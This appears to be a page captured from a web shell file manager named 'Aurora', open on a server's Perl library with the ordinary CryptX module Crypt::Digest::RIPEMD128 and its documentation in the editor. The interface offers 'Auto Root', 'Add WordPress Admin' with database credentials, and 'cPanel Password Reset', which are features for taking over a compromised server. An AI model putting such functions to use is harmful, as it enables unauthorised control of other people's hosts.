Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib64
perl5
vendor_perl
Crypt
Digest
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: RIPEMD128.pm
package Crypt::Digest::RIPEMD128; ### BEWARE - GENERATED FILE, DO NOT EDIT MANUALLY! use strict; use warnings; our $VERSION = '0.089'; use base qw(Crypt::Digest Exporter); our %EXPORT_TAGS = ( all => [qw( ripemd128 ripemd128_hex ripemd128_b64 ripemd128_b64u ripemd128_file ripemd128_file_hex ripemd128_file_b64 ripemd128_file_b64u )] ); our @EXPORT_OK = ( @{ $EXPORT_TAGS{'all'} } ); our @EXPORT = qw(); use Carp; $Carp::Internal{(__PACKAGE__)}++; use Crypt::Digest; sub new { my ($class) = @_; my $obj = Crypt::Digest->new('RIPEMD128'); return bless $obj, $class; } sub clone { my ($self) = @_; my $obj = Crypt::Digest::clone($self); return bless $obj, ref($self) || $self; } sub hashsize { Crypt::Digest::hashsize('RIPEMD128') } sub ripemd128 { Crypt::Digest::digest_data('RIPEMD128', @_) } sub ripemd128_hex { Crypt::Digest::digest_data_hex('RIPEMD128', @_) } sub ripemd128_b64 { Crypt::Digest::digest_data_b64('RIPEMD128', @_) } sub ripemd128_b64u { Crypt::Digest::digest_data_b64u('RIPEMD128', @_) } sub ripemd128_file { Crypt::Digest::digest_file('RIPEMD128', @_) } sub ripemd128_file_hex { Crypt::Digest::digest_file_hex('RIPEMD128', @_) } sub ripemd128_file_b64 { Crypt::Digest::digest_file_b64('RIPEMD128', @_) } sub ripemd128_file_b64u { Crypt::Digest::digest_file_b64u('RIPEMD128', @_) } 1; =pod =head1 NAME Crypt::Digest::RIPEMD128 - Hash function RIPEMD-128 [size: 128 bits] =head1 SYNOPSIS ### Functional interface: use Crypt::Digest::RIPEMD128 qw( ripemd128 ripemd128_hex ripemd128_b64 ripemd128_b64u ripemd128_file ripemd128_file_hex ripemd128_file_b64 ripemd128_file_b64u ); # calculate digest from string/buffer my $data = 'data string'; my $ripemd128_raw = ripemd128($data); my $ripemd128_hex = ripemd128_hex($data); my $ripemd128_b64 = ripemd128_b64($data); my $ripemd128_b64u = ripemd128_b64u($data); # or from file my $ripemd128_file_raw = ripemd128_file('filename.dat'); my $ripemd128_file_hex = ripemd128_file_hex('filename.dat'); my $ripemd128_file_b64 = ripemd128_file_b64('filename.dat'); my $ripemd128_file_b64u = ripemd128_file_b64u('filename.dat'); # or from filehandle my $filehandle = ...; # existing binary-mode filehandle my $ripemd128_fh_raw = ripemd128_file($filehandle); my $ripemd128_fh_hex = ripemd128_file_hex($filehandle); my $ripemd128_fh_b64 = ripemd128_file_b64($filehandle); my $ripemd128_fh_b64u = ripemd128_file_b64u($filehandle); ### OO interface: use Crypt::Digest::RIPEMD128; my $d = Crypt::Digest::RIPEMD128->new; $d->add('any data'); my $result_raw = $d->digest; # raw bytes my $result_hex = $d->hexdigest; # hexadecimal form my $result_b64 = $d->b64digest; # Base64 form my $result_b64u = $d->b64udigest; # Base64 URL-safe form # or hash a file instead my $file_result_raw = Crypt::Digest::RIPEMD128->new->addfile('filename.dat')->digest; =head1 DESCRIPTION Provides an interface to the RIPEMD128 digest algorithm. =head1 EXPORT Nothing is exported by default. You can export selected functions: use Crypt::Digest::RIPEMD128 qw(ripemd128 ripemd128_hex ripemd128_b64 ripemd128_b64u ripemd128_file ripemd128_file_hex ripemd128_file_b64 ripemd128_file_b64u); Or all of them at once: use Crypt::Digest::RIPEMD128 ':all'; =head1 FUNCTIONS =head2 ripemd128 Joins all arguments into a single string and returns its RIPEMD128 digest encoded as a binary string. Data arguments for the functional helpers are converted to byte strings using Perl's usual scalar stringification. Defined scalars, including numbers and string-overloaded objects, are accepted. C<undef> is treated as an empty string and may emit Perl's usual "uninitialized value" warning. The same rules apply to C<ripemd128_hex>, C<ripemd128_b64>, and C<ripemd128_b64u>. my $ripemd128_raw = ripemd128('data string'); #or my $ripemd128_raw = ripemd128('any data', 'more data', 'even more data'); =head2 ripemd128_hex Joins all arguments into a single string and returns its RIPEMD128 digest encoded as a hexadecimal string. my $ripemd128_hex = ripemd128_hex('data string'); #or my $ripemd128_hex = ripemd128_hex('any data', 'more data', 'even more data'); =head2 ripemd128_b64 Joins all arguments into a single string and returns its RIPEMD128 digest encoded as a Base64 string, B<with> trailing '=' padding. my $ripemd128_b64 = ripemd128_b64('data string'); #or my $ripemd128_b64 = ripemd128_b64('any data', 'more data', 'even more data'); =head2 ripemd128_b64u Joins all arguments into a single string and returns its RIPEMD128 digest encoded as a Base64 URL-safe string (see RFC 4648 section 5). my $ripemd128_b64url = ripemd128_b64u('data string'); #or my $ripemd128_b64url = ripemd128_b64u('any data', 'more data', 'even more data'); =head2 ripemd128_file Reads a file given by a filename or filehandle and returns its RIPEMD128 digest encoded as a binary string. my $ripemd128_raw = ripemd128_file('filename.dat'); #or my $filehandle = ...; # existing binary-mode filehandle my $ripemd128_raw = ripemd128_file($filehandle); =head2 ripemd128_file_hex Reads a file given by a filename or filehandle and returns its RIPEMD128 digest encoded as a hexadecimal string. my $ripemd128_hex = ripemd128_file_hex('filename.dat'); #or my $filehandle = ...; # existing binary-mode filehandle my $ripemd128_hex = ripemd128_file_hex($filehandle); B<Note:> The filehandle must be in binary mode before you pass it to C<addfile()>. =head2 ripemd128_file_b64 Reads a file given by a filename or filehandle and returns its RIPEMD128 digest encoded as a Base64 string, B<with> trailing '=' padding. my $ripemd128_b64 = ripemd128_file_b64('filename.dat'); #or my $filehandle = ...; # existing binary-mode filehandle my $ripemd128_b64 = ripemd128_file_b64($filehandle); =head2 ripemd128_file_b64u Reads a file given by a filename or filehandle and returns its RIPEMD128 digest encoded as a Base64 URL-safe string (see RFC 4648 section 5). my $ripemd128_b64url = ripemd128_file_b64u('filename.dat'); #or my $filehandle = ...; # existing binary-mode filehandle my $ripemd128_b64url = ripemd128_file_b64u($filehandle); =head1 METHODS The OO interface provides the same set of functions as L<Crypt::Digest>. Unless noted otherwise, assume C<$d> is an existing digest object created via C<new>, for example: my $d = Crypt::Digest::RIPEMD128->new(); =head2 new my $d = Crypt::Digest::RIPEMD128->new(); =head2 clone $d->clone(); =head2 reset $d->reset(); =head2 add Appends data to the message. Returns the object itself (for chaining). Each argument is converted to bytes using Perl's usual scalar stringification. Defined scalars, including numbers and string-overloaded objects, are accepted. C<undef> is treated as an empty string and may emit Perl's usual "uninitialized value" warning. $d->add('any data'); #or $d->add('any data', 'more data', 'even more data'); =head2 addfile Reads the file content and appends it to the message. Returns the object itself (for chaining). $d->addfile('filename.dat'); #or my $filehandle = ...; # existing binary-mode filehandle $d->addfile($filehandle); =head2 hashsize $d->hashsize; #or Crypt::Digest::RIPEMD128->hashsize(); #or Crypt::Digest::RIPEMD128::hashsize(); =head2 digest Returns the binary digest (raw bytes). The first call finalizes the digest object. Any later C<add()>, C<addfile()>, C<digest()>, C<hexdigest()>, C<b64digest()>, or C<b64udigest()> call will fail until you call C<reset()>. my $result_raw = $d->digest(); =head2 hexdigest Returns the digest encoded as a lowercase hexadecimal string. Like C<digest()>, the first call finalizes the digest object. my $result_hex = $d->hexdigest(); =head2 b64digest Returns the digest encoded as a Base64 string with trailing C<=> padding. Like C<digest()>, the first call finalizes the digest object. my $result_b64 = $d->b64digest(); =head2 b64udigest Returns the digest encoded as a Base64 URL-safe string (no trailing C<=>). Like C<digest()>, the first call finalizes the digest object. my $result_b64url = $d->b64udigest(); =head1 SEE ALSO =over =item * L<CryptX>, L<Crypt::Digest> =item * L<https://en.wikipedia.org/wiki/RIPEMD> =back =cut